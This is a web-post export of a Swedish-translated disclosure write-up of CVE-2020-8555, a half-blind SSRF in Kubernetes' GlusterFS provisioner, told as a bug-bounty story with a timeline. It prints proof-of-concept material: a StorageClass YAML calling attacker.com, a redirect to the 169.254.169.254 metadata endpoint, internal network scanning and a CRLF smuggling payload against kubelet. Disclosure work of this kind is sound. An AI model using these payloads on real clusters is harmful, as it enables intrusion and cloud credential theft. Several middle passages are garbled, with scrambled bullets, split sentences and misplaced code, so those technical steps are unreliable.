{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Obs. \u00f6vers.<\/b>: f\u00f6rfattarna till denna artikel beskriver i detalj hur de lyckades uppt\u00e4cka en s\u00e5rbarhet <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> i Kubernetes. \u00c4ven om den fr\u00e5n b\u00f6rjan verkade vara inte s\u00e5 farlig, visade den sig vara kritisk i kombination med andra faktorer f\u00f6r vissa molnleverant\u00f6rer. De specialister som genomf\u00f6rde arbetet bel\u00f6nades gener\u00f6st av flera organisationer.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Vem \u00e4r vi<\/h2>\n<p>\nVi \u00e4r tv\u00e5 franska s\u00e4kerhetsforskare som gemensamt har uppt\u00e4ckt en s\u00e5rbarhet i Kubernetes. Vi heter Brice Augras och Christophe Hauquiert, men p\u00e5 m\u00e5nga Bug Bounty-plattformar \u00e4r vi k\u00e4nda som Reeverzax respektive Hach:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 Kubernetes-arkitekt p\u00e5 Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Vad h\u00e4nde?<\/h2>\n<p>\nDenna artikel \u00e4r v\u00e5rt s\u00e4tt att ber\u00e4tta hur ett vanligt forskningsprojekt ov\u00e4ntat f\u00f6rvandlades till det mest sp\u00e4nnande \u00e4ventyret i livet f\u00f6r bugghunters (\u00e5tminstone hittills).<\/p>\n<p>Som ni kanske vet, har bugghunters ett par anm\u00e4rkningsv\u00e4rda egenskaper:<\/p>\n<ul>\n<li> de lever p\u00e5 pizza och \u00f6l;<\/li>\n<li> de arbetar n\u00e4r alla andra sover.<\/li>\n<\/ul>\n<p>\nVi \u00e4r inget undantag fr\u00e5n dessa regler: vi tr\u00e4ffas vanligtvis p\u00e5 helger och har s\u00f6mnl\u00f6sa hackern\u00e4tter. Men en av dessa n\u00e4tter slutade p\u00e5 ett ganska ovanligt s\u00e4tt.<\/p>\n<p>Ursprungligen planerade vi att tr\u00e4ffas f\u00f6r att diskutera deltagande i <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> n\u00e4sta dag. Under diskussionen om s\u00e4kerheten i Kubernetes i en hanterad tj\u00e4nstemilj\u00f6 kom vi ih\u00e5g en gammal id\u00e9 om SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) och besl\u00f6t att f\u00f6rs\u00f6ka anv\u00e4nda den som en attackvektor.<\/p>\n<p>Klockan 11 satte vi oss ner f\u00f6r att forska, och gick till s\u00e4ngs tidigt p\u00e5 morgonen, ganska n\u00f6jda med resultaten. Just p\u00e5 grund av dessa forskning uppt\u00e4ckte vi MSRC Bug Bounty-programmet och kom p\u00e5 en exploatering f\u00f6r privilegief\u00f6rh\u00f6jning.<\/p>\n<p>Flera veckor\/m\u00e5nader gick, och v\u00e5rt ov\u00e4ntade resultat ledde till en av de h\u00f6gsta bel\u00f6ningarna i historien f\u00f6r Azure Cloud Bug Bounty \u2014 ut\u00f6ver den vi fick fr\u00e5n Kubernetes!<\/p>\n<p>Som ett resultat av v\u00e5rt forskningsprojekt publicerade Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Nu skulle vi vilja sprida informationen om den uppt\u00e4ckta s\u00e5rbarheten s\u00e5 mycket som m\u00f6jligt. Vi hoppas att ni uppskattar uppt\u00e4ckten och delar tekniska detaljer med andra medlemmar i infosec-gemenskapen!<\/p>\n<p>S\u00e5 h\u00e4r \u00e4r v\u00e5r historia\u2026<\/p>\n<h2>Kontext<\/h2>\n<p>\nF\u00f6r att fullt ut f\u00f6rklara vad som har h\u00e4nt, l\u00e5t oss f\u00f6rst titta p\u00e5 hur Kubernetes fungerar i en molnbaserad hanterad milj\u00f6.<\/p>\n<p>N\u00e4r du skapar ett cluster av Kubernetes i en s\u00e5dan milj\u00f6 ansvarar vanligtvis molnleverant\u00f6ren f\u00f6r driften av kontrollskiktet:<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Kontrollskiktet ligger i molnleverant\u00f6rens perimeter, medan Kubernetes-noderna finns i kundens perimeter.<\/i><\/p>\n<p>F\u00f6r dynamisk tilldelning av volymer anv\u00e4nds en mekanism f\u00f6r dynamisk provisionering fr\u00e5n en extern storage-backend och koppling till PVC (persistent volume claim, d.v.s. beg\u00e4ran om volym).<\/p>\n<p>S\u00e5 efter att PVC har skapats och kopplats till en StorageClass i K8s-klustret, tar kube\/cloud controller manager (det exakta namnet beror p\u00e5 versionen) \u00f6ver f\u00f6r att tillhandah\u00e5lla volymen. <i>(<b>Obs. \u00f6vers.<\/b>: Vi har redan skrivit om CCM med exempel p\u00e5 dess implementation f\u00f6r en av molnleverant\u00f6rerna. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">h\u00e4r<\/a><\/noindex>.)<\/i><\/p>\n<p>Det finns flera typer av provisioners som st\u00f6ds av Kubernetes: de flesta av dem ing\u00e5r i <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">orkestratorns k\u00e4rna,<\/a><\/noindex>, medan andra hanteras av ytterligare provisioners som k\u00f6rs i pods i klustret.<\/p>\n<p>I v\u00e5r forskning fokuserade vi p\u00e5 den interna mekanismen f\u00f6r volymprovisionering, som illustreras nedan:<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamisk tilldelning av volymer med den inbyggda provisionern Kubernetes<\/i><\/p>\n<p>Kort sagt, n\u00e4r Kubernetes \u00e4r distribuerad i en hanterad milj\u00f6 ansvarar molnleverant\u00f6ren f\u00f6r controller managern, men beg\u00e4ran om att skapa en volym (nummer 3 i diagrammet ovan) l\u00e4mnar de interna n\u00e4tverken hos molnleverant\u00f6ren. Och h\u00e4r blir det verkligen intressant!<\/p>\n<h2>S\u00e4kerhets\u00f6versikt<\/h2>\n<p>\nI detta avsnitt kommer vi att beskriva hur vi utnyttjade den n\u00e4mnda arbetsfl\u00f6det f\u00f6r att f\u00e5 tillg\u00e5ng till molnleverant\u00f6rens interna resurser. Dessutom kommer vi att visa hur vissa \u00e5tg\u00e4rder kan genomf\u00f6ras \u2014 till exempel att f\u00e5 interna autentiseringsuppgifter eller att genomf\u00f6ra en privilegierad h\u00f6jning.<\/p>\n<p>En enkel manipulation (i det h\u00e4r fallet en Service Side Request Forgery) hj\u00e4lpte till att g\u00e5 utanf\u00f6r kundens milj\u00f6 i kluster av olika tj\u00e4nsteleverant\u00f6rer som hanterar K8s.<\/p>\n<p>I v\u00e5ra studier fokuserade vi p\u00e5 provisionern GlusterFS. Trots att den fortsatta handlingssekvensen beskrivs i det h\u00e4r sammanhanget \u00e4r denna s\u00e5rbarhet ocks\u00e5 giltig f\u00f6r Quobyte, StorageOS och ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Missbruk av mekanismen f\u00f6r dynamisk tilldelning av volymer<\/i><\/p>\n<p>Under analysen av lagringsklassen <b>GlusterFS<\/b> i k\u00e4llkoden f\u00f6r klienten i Golang noterade vi <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">att vid den f\u00f6rsta HTTP-f\u00f6rfr\u00e5gan (3), som skickades under skapandet av volymen, l\u00e4ggs<\/a><\/noindex>till slutet av anv\u00e4ndarens URL i parametern <code>resturl<\/code> detta ytterligare s\u00f6kv\u00e4g <code>\/volumes<\/code>.<\/p>\n<p>best\u00e4mde vi oss f\u00f6r att bli av med genom att l\u00e4gga till <code>#<\/code> i parametern <code>resturl<\/code>. H\u00e4r \u00e4r den f\u00f6rsta YAML-konfigurationen som vi anv\u00e4nde f\u00f6r att kontrollera f\u00f6r en \"semi-blind\" SSRF-s\u00e5rbarhet <i>(mer information om semi-blind eller half-blind SSRF kan l\u00e4sa, till exempel, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">h\u00e4r<\/a><\/noindex> \u2014 anm. red.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nSedan anv\u00e4nde vi en k\u00f6rbar fil f\u00f6r att fj\u00e4rrstyra Kubernetes-klustret <b>kubectl<\/b>. Vanligtvis till\u00e5ter molnleverant\u00f6rer (Azure, Google, AWS osv.) att f\u00e5 autentiseringsuppgifter f\u00f6r att anv\u00e4nda dem i detta verktyg.<\/p>\n<p>Tack vare detta lyckades vi ocks\u00e5 anv\u00e4nda v\u00e5r \"speciella\" fil. Kube-controller-manager utf\u00f6rde den resulterande HTTP-f\u00f6rfr\u00e5gan:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Svaret fr\u00e5n angriparens perspektiv<\/i><\/p>\n<p>Kort d\u00e4refter lyckades vi ocks\u00e5 f\u00e5 HTTP-svaret fr\u00e5n den m\u00e5lsatta servern \u2014 via kommandona <code>describe pvc<\/code> eller <code>get events<\/code> i kubectl. Och faktiskt: denna Kubernetes-drivrutin \u00e4r som standard f\u00f6r volumin\u00f6s i sina varningar\/felmeddelanden\u2026<\/p>\n<p>H\u00e4r \u00e4r ett exempel med referens till <code>https:\/\/www.google.fr<\/code>, inst\u00e4llt som parameter <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# eller s\u00e5 kan du anv\u00e4nda kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nInom detta tillv\u00e4gag\u00e5ngss\u00e4tt var vi begr\u00e4nsade till f\u00f6rfr\u00e5gningar av typen <b>HTTP POST<\/b> och kunde inte f\u00e5 inneh\u00e5llet i svarskroppen om returkoden var <b>201<\/b>. D\u00e4rf\u00f6r beslutade vi att genomf\u00f6ra ytterligare forskning och utvidgade detta hackningsscenario med nya angreppss\u00e4tt.<\/p>\n<h2>Utvecklingen av v\u00e5ra forskningar<\/h2>\n<p><\/p>\n<ul>\n<li> Avancerat scenario #1: anv\u00e4ndning av 302-omdirigering fr\u00e5n en extern server f\u00f6r att \u00e4ndra HTTP-metoden f\u00f6r att f\u00e5 ett mer flexibelt s\u00e4tt att samla in interna data.<\/li>\n<li> Avancerat scenario #2: automatisering av LAN-skanning och uppt\u00e4ckte interna resurser.<\/li>\n<li> Avancerat scenario #3: anv\u00e4ndning av HTTP CRLF + smuggling f\u00f6r att skapa anpassade HTTP-beg\u00e4rningar och h\u00e4mta data fr\u00e5n kube-controller-loggar.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Tekniska specifikationer<\/h3>\n<p><\/p>\n<ul>\n<li> I studierna anv\u00e4ndes Azure Kubernetes Service (AKS) med Kubernetes version 1.12 i regionen Norra Europa.<\/li>\n<li> De ovan beskrivna scenarierna utf\u00f6rdes p\u00e5 de senaste versionerna av Kubernetes, f\u00f6rutom det tredje scenariot, som kr\u00e4vde Kubernetes sammanst\u00e4llt med Golang version \u2264 1.12.<\/li>\n<li> Angriparens externa server \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Avancerat scenario nr 1: omdirigera HTTP POST-f\u00f6rfr\u00e5gan till GET och h\u00e4mta konfidentiella data<\/h3>\n<p>\nDen ursprungliga metoden f\u00f6rb\u00e4ttrades av angriparens serverkonfiguration f\u00f6r att \u00e5terl\u00e4mna <b>302 HTTP Retcode<\/b>, f\u00f6r att konvertera POST-f\u00f6rfr\u00e5gan till GET-f\u00f6rfr\u00e5gan (steg 4 i schemat):<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nDen f\u00f6rsta f\u00f6rfr\u00e5gan (3) som skickas av klienten <b>GlusterFS<\/b> (Controller Manager) \u00e4r av typen POST. Genom att genomf\u00f6ra f\u00f6ljande steg lyckades vi omvandla den till GET:<\/p>\n<ul>\n<li> Som parameter <code>resturl<\/code> anges i StorageClass <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint svarar med HTTP-statuskod 302 med f\u00f6ljande Location-header: <code>https:\/\/attacker.com\/redirect.php<\/code> svarar med HTTP-statuskod 302 och f\u00f6ljande Location Header: <code>http:\/\/169.254.169.254<\/code>biblioteket net\/http<\/li>\n<li> Som standard <b>i Golang omdirigerar f\u00f6rfr\u00e5gan och konverterar POST till GET med 302-statuskod, vilket resulterar i att en HTTP GET-f\u00f6rfr\u00e5gan skickas till den angivna resursen.<\/b> Golang omdirigerar beg\u00e4ran och konverterar POST till GET med statuskod 302, vilket g\u00f6r att ett HTTP GET-beg\u00e4ran skickas till den m\u00e5lresursen.<\/li>\n<\/ul>\n<p>\ndescribe <code>objektet PVC:<\/code> kubectl describe pvc xxx<\/p>\n<pre><code class=\"bash\">H\u00e4r \u00e4r ett exempel p\u00e5 ett HTTP-svar i JSON-format som vi lyckades f\u00e5:<\/code><\/pre>\n<p>\nM\u00f6jligheterna hos den funna s\u00e5rbarheten var vid den tidpunkten begr\u00e4nsade p\u00e5 grund av f\u00f6ljande faktorer:<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nOf\u00f6rm\u00e5ga att infoga HTTP-header i den utg\u00e5ende f\u00f6rfr\u00e5gan.<\/p>\n<ul>\n<li> Of\u00f6rm\u00e5ga att utf\u00f6ra POST-f\u00f6rfr\u00e5gan med parametrar i kroppen (det \u00e4r s\u00e5 praktiskt att beg\u00e4ra nyckelv\u00e4rdet fr\u00e5n en etcd-instans som k\u00f6rs p\u00e5<\/li>\n<li> porten, om okrypterad HTTP anv\u00e4nds). <b>2379<\/b> Of\u00f6rm\u00e5ga att f\u00e5 inneh\u00e5llet i svarskroppen n\u00e4r statuskoden var 200 och svaret inte hade JSON Content-Type.<\/li>\n<li> Avancerat scenario nr 2: skanning av det lokala n\u00e4tverket<\/li>\n<\/ul>\n<p><\/p>\n<h3>Denna metod f\u00f6r half-blind SSRF anv\u00e4ndes d\u00e4refter f\u00f6r att skanna den interna n\u00e4tverket hos molnleverant\u00f6ren och unders\u00f6ka olika lyssnande tj\u00e4nster (Metadata-exemplaret, Kubelet, etcd osv.) baserat p\u00e5 svaren<\/h3>\n<p>\nfr\u00e5n kube-controller. <b>kube-controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nF\u00f6rst definierades standardlyssningsportarna f\u00f6r Kubernetes-komponenter (8443, 10250, 10251 osv.), och sedan kr\u00e4vdes automatisering av skanningsprocessen.<\/p>\n<p>Eftersom denna skanningsmetod f\u00f6r resurser \u00e4r mycket specifik och inte kompatibel med klassiska skannrar och SSRF-verktyg, beslutade vi oss f\u00f6r att skapa egna workers i ett bash-skript som automatiserar hela processen.<\/p>\n<p>Till exempel, f\u00f6r att snabbare skanna intervallet 172.16.0.0\/12 i det interna n\u00e4tverket, k\u00f6rdes 15 workers parallellt. Det angivna IP-intervallet valdes enbart som ett exempel och kan \u00e4ndras till IP-intervallet f\u00f6r en specifik tj\u00e4nsteleverant\u00f6r.<\/p>\n<p>F\u00f6r att skanna en enda IP-adress och en port m\u00e5ste du g\u00f6ra f\u00f6ljande:<\/p>\n<ul>\n<li> ta bort det verifierade StorageClass fr\u00e5n f\u00f6reg\u00e5ende g\u00e5ng;<\/li>\n<li> ta bort den tidigare verifierade Persistent Volume Claim;<\/li>\n<li> \u00e4ndra v\u00e4rdena f\u00f6r IP och Port i <code>sc.yaml<\/code>;<\/li>\n<li> skapa ett StorageClass med det nya IP:t och porten;<\/li>\n<li> skapa en ny PVC;<\/li>\n<li> extrahera skanningsresultat med hj\u00e4lp av describe f\u00f6r PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Avancerat scenario nr 3: CRLF-injektion + smuggling av HTTP i \"gamla\" versioner av Kubernetes-klustret<\/h3>\n<p>\nOm leverant\u00f6ren dessutom erbj\u00f6d kunderna \u00e4ldre versioner av K8s-klustret <b>och<\/b> och gav dem tillg\u00e5ng till loggarna f\u00f6r kube-controller-manager, blev effekten \u00e4nnu st\u00f6rre.<\/p>\n<p>Det \u00e4r mycket mer bekv\u00e4mt f\u00f6r en angripare att \u00e4ndra HTTP-f\u00f6rfr\u00e5gningar enligt eget \u00f6nskem\u00e5l f\u00f6r att f\u00e5 det kompletta HTTP-svaret.<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nF\u00f6r att genomf\u00f6ra det sista scenariot m\u00e5ste f\u00f6ljande villkor uppfyllas:<\/p>\n<ul>\n<li> Anv\u00e4ndaren m\u00e5ste ha tillg\u00e5ng till loggarna f\u00f6r kube-controller-manager (som till exempel i Azure LogInsights).<\/li>\n<li> Kubernetes-klustret m\u00e5ste anv\u00e4nda en version av Golang som \u00e4r \u00e4ldre \u00e4n 1.12.<\/li>\n<\/ul>\n<p>\nVi satte upp en lokal milj\u00f6 som imiterade datakommunikationen mellan Go-klienten GlusterFS och en falsk m\u00e5ltj\u00e4nst (vi avst\u00e5r fr\u00e5n att publicera PoC f\u00f6r tillf\u00e4llet).<\/p>\n<p>En s\u00e5rbarhet har uppt\u00e4ckts <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">s\u00e5rbarhet<\/a><\/noindex>, som p\u00e5verkar versioner av Golang som \u00e4r \u00e4ldre \u00e4n 1.12 och m\u00f6jligg\u00f6r HTTP smuggling\/CRLF-attacker f\u00f6r hackare.<\/p>\n<p>Genom att kombinera ovanst\u00e5ende half-blind SSRF <b>tillsammans<\/b> med denna, kunde vi skicka f\u00f6rfr\u00e5gningar enligt v\u00e5r egen vilja, inklusive att byta ut huvuden, HTTP-metod, parametrar och data som kube-controller-manager sedan bearbetade.<\/p>\n<p>H\u00e4r \u00e4r ett exempel p\u00e5 en fungerande \"f\u00e4lla\" i parametern <code>resturl<\/code> StorageClass som implementerar en liknande attackscenarie:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nResultatet blir ett fel <b>unsolicited response<\/b>, ett meddelande om vilket registreras i kontrollerloggarna. Tack vare den f\u00f6rvalda<\/p>\n<p><img decoding=\"async\" alt=\"N\u00e4r det handlar om mer \u00e4n bara s\u00e5rbarheter i Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\ndet var v\u00e5rt mest framg\u00e5ngsrika<\/p>\n<p>Genom att anv\u00e4nda detta tillv\u00e4gag\u00e5ngss\u00e4tt kunde vi genomf\u00f6ra n\u00e5gra av f\u00f6ljande attacker i kluster fr\u00e5n olika leverant\u00f6rer av managed k8s: privilegieh\u00f6jning med \u00e5tkomst till metadata-instansers autentiseringsuppgifter, DoS mot m\u00e4staren via (okrypterade) HTTP-f\u00f6rfr\u00e5gningar till master-exemplaren etcd, och mer.<\/p>\n<h2>Konsekvenser<\/h2>\n<p>\nI det officiella uttalandet fr\u00e5n Kubernetes ang\u00e5ende den SSRF-s\u00e5rbarhet vi uppt\u00e4ckte tilldelades den en bed\u00f6mning <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Om vi endast betraktar s\u00e5rbarheten kopplad till Kubernetes-gr\u00e4nsen, kvalificeras integritetens vektor <i>(integrity vector)<\/i> i den som <b>None<\/b>.<\/p>\n<p>Men bed\u00f6mningen av m\u00f6jliga konsekvenser i kontexten av en hanterad tj\u00e4nstemilj\u00f6 (och det var den mest intressanta delen av v\u00e5r forskning!) fick oss att omklassificera s\u00e5rbarheten till bed\u00f6mningen <b>Kritisk CVSS10\/10<\/b> f\u00f6r m\u00e5nga distribut\u00f6rer.<\/p>\n<p>Nedan f\u00f6ljer ytterligare information som kan hj\u00e4lpa till att f\u00f6rst\u00e5 vad vi grundade v\u00e5r bed\u00f6mning av m\u00f6jliga konsekvenser i molnmilj\u00f6er p\u00e5:<\/p>\n<h3>Integritet<\/h3>\n<p><\/p>\n<ul>\n<li> Fj\u00e4rrk\u00f6rning av kommandon med hj\u00e4lp av de interna autentiseringsuppgifterna som erh\u00e5llits.<\/li>\n<li> \u00c5terupprepning av ovanst\u00e5ende scenario genom IDOR-metoden (Insecure Direct Object Reference, det vill s\u00e4ga os\u00e4kra direkta h\u00e4nvisningar till objekt) med andra resurser som hittats i det lokala n\u00e4tverket.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Sekretess<\/h3>\n<p><\/p>\n<ul>\n<li> Attacktyp <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> genom st\u00f6ld av molnautentiseringsuppgifter (t.ex. metadata API).<\/li>\n<li> Informationsinsamling genom scanning av det lokala n\u00e4tverket (best\u00e4mning av SSH-version, HTTP-serverns version, \u2026).<\/li>\n<li> Informationsinsamling om instanser och infrastruktur genom f\u00f6rfr\u00e5gningar till interna API:er, s\u00e5som metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> St\u00f6ld av kunddata med hj\u00e4lp av molnautentiseringsuppgifter.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Tillg\u00e4nglighet<\/h3>\n<p>\nAlla exploateringsanv\u00e4ndningsscenarier relaterade till attackvektorer f\u00f6r <b>integritet (integrity)<\/b>, kan anv\u00e4ndas f\u00f6r destruktiva handlingar och leda till att master-instanser fr\u00e5n kundens perimeter (eller n\u00e5gon annan) blir otillg\u00e4ngliga.<\/p>\n<p>Eftersom vi befann oss i en hanterad K8s-milj\u00f6 och bed\u00f6mde p\u00e5verkan p\u00e5 integriteten, kan vi f\u00f6rest\u00e4lla oss en m\u00e4ngd scenarier som kan p\u00e5verka tillg\u00e4ngligheten. Som ytterligare exempel kan vi n\u00e4mna korruption av etcd-databasen eller att g\u00f6ra ett kritiskt anrop till Kubernetes API.<\/p>\n<h2>Tidslinje<\/h2>\n<p><\/p>\n<ul>\n<li> 6 december 2019: meddelande om uppt\u00e4ckta s\u00e5rbarheter skickas till MSRC Bug Bounty.<\/li>\n<li> 3 januari 2020: en tredje part informerade Kubernetes-utvecklarna att vi arbetade med ett s\u00e4kerhetsproblem. De bad oss att betrakta SSRF som en in-core s\u00e5rbarhet. Efter det presenterade vi en sammanfattande rapport med tekniska detaljer om k\u00e4llan till problemet.<\/li>\n<li> 15 januari 2020: vi gav Kubernetes-utvecklarna tekniska och allm\u00e4nna rapporter p\u00e5 deras beg\u00e4ran (via HackerOne-plattformen).<\/li>\n<li> 15 januari 2020: Kubernetes-utvecklarna informerade oss om att half-blind SSRF + CRLF-injektion f\u00f6r tidigare versioner betraktas som en in-core s\u00e5rbarhet. Vi slutade omedelbart analysera andra tj\u00e4nsteleverant\u00f6rers perimetrar; huvudorsaken togs nu hand om av K8s-teamet.<\/li>\n<li> 15 januari 2020: bel\u00f6ning mottagen fr\u00e5n MSRC via HackerOne.<\/li>\n<li> 16 januari 2020: Kubernetes PSC (Product Security Committee) erk\u00e4nde s\u00e5rbarheten och bad att h\u00e5lla den hemlig till mitten av mars p\u00e5 grund av det stora antalet potentiella offer.<\/li>\n<li> 11 februari 2020: bel\u00f6ning mottagen fr\u00e5n Google VRP.<\/li>\n<li> 4 mars 2020: bel\u00f6ning mottagen fr\u00e5n Kubernetes via HackerOne.<\/li>\n<li> 15 mars 2020: det ursprungligen planerade offentliga avsl\u00f6jandet sk\u00f6ts upp p\u00e5 grund av COVID-19-situationen.<\/li>\n<li> 1 juni 2020: gemensamt uttalande fr\u00e5n Kubernetes + Microsoft om s\u00e5rbarheten.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Vi dricker \u00f6l och \u00e4ter pizza \ud83d\ude42<\/li>\n<li> Vi uppt\u00e4ckte en in-core s\u00e5rbarhet i Kubernetes, trots att vi inte alls hade t\u00e4nkt g\u00f6ra det.<\/li>\n<li> Vi gjorde en ytterligare analys i kluster av olika molnleverant\u00f6rer och kunde \u00f6ka skadan orsakad av s\u00e5rbarheten f\u00f6r att f\u00e5 fler fantastiska bonusar.<\/li>\n<li> I denna artikel hittar du m\u00e5nga tekniska detaljer. Vi diskuterar g\u00e4rna dessa med dig (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Det visade sig att alla formella processer och rapportskrivande tog mycket mer tid \u00e4n f\u00f6rv\u00e4ntat.<\/li>\n<\/ul>\n<p><\/p>\n<h2>L\u00e4nkar<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google-grupp 